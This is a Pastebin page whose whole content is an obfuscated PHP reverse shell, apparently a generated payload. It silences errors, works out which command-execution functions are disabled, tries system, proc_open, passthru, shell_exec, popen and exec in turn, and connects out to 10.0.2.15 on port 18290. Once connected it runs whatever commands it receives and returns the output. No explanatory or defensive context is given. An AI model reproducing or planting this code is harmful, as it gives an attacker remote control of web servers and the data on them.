Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*<?php /**/
- @error_reporting(0);
- @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
- $dis=@ini_get('disable_functions');
- if(!empty($dis)){
- $dis=preg_replace('/[, ]+/', ',', $dis);
- $dis=explode(',', $dis);
- $dis=array_map('trim', $dis);
- }else{
- $dis=array();
- }
- $ipaddr='10.0.2.15';
- $port=18290;
- if(!function_exists('WaPMqMcaakqELu')){
- function WaPMqMcaakqELu($c){
- global $dis;
- if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
- $c=$c." 2>&1\n";
- }
- $uPTriWX='is_callable';
- $sJlWsUs='in_array';
- if($uPTriWX('system')and!$sJlWsUs('system',$dis)){
- ob_start();
- system($c);
- $o=ob_get_contents();
- ob_end_clean();
- }else
- if($uPTriWX('proc_open')and!$sJlWsUs('proc_open',$dis)){
- $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
- $o=NULL;
- while(!feof($pipes[1])){
- $o.=fread($pipes[1],1024);
- }
- @proc_close($handle);
- }else
- if($uPTriWX('passthru')and!$sJlWsUs('passthru',$dis)){
- ob_start();
- passthru($c);
- $o=ob_get_contents();
- ob_end_clean();
- }else
- if($uPTriWX('shell_exec')and!$sJlWsUs('shell_exec',$dis)){
- $o=shell_exec($c);
- }else
- if($uPTriWX('popen')and!$sJlWsUs('popen',$dis)){
- $fp=popen($c,'r');
- $o=NULL;
- if(is_resource($fp)){
- while(!feof($fp)){
- $o.=fread($fp,1024);
- }
- }
- @pclose($fp);
- }else
- if($uPTriWX('exec')and!$sJlWsUs('exec',$dis)){
- $o=array();
- exec($c,$o);
- $o=join(chr(10),$o).chr(10);
- }else
- {
- $o=0;
- }
- return $o;
- }
- }
- $nofuncs='no exec functions';
- if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
- $s=@fsockopen("tcp://10.0.2.15",$port);
- while($c=fread($s,2048)){
- $out = '';
- if(substr($c,0,3) == 'cd '){
- chdir(substr($c,3,-1));
- } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
- break;
- }else{
- $out=WaPMqMcaakqELu(substr($c,0,-1));
- if($out===false){
- fwrite($s,$nofuncs);
- break;
- }
- }
- fwrite($s,$out);
- }
- fclose($s);
- }else{
- $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
- @socket_connect($s,$ipaddr,$port);
- @socket_write($s,"socket_create");
- while($c=@socket_read($s,2048)){
- $out = '';
- if(substr($c,0,3) == 'cd '){
- chdir(substr($c,3,-1));
- } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
- break;
- }else{
- $out=WaPMqMcaakqELu(substr($c,0,-1));
- if($out===false){
- @socket_write($s,$nofuncs);
- break;
- }
- }
- @socket_write($s,$out,strlen($out));
- }
- @socket_close($s);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement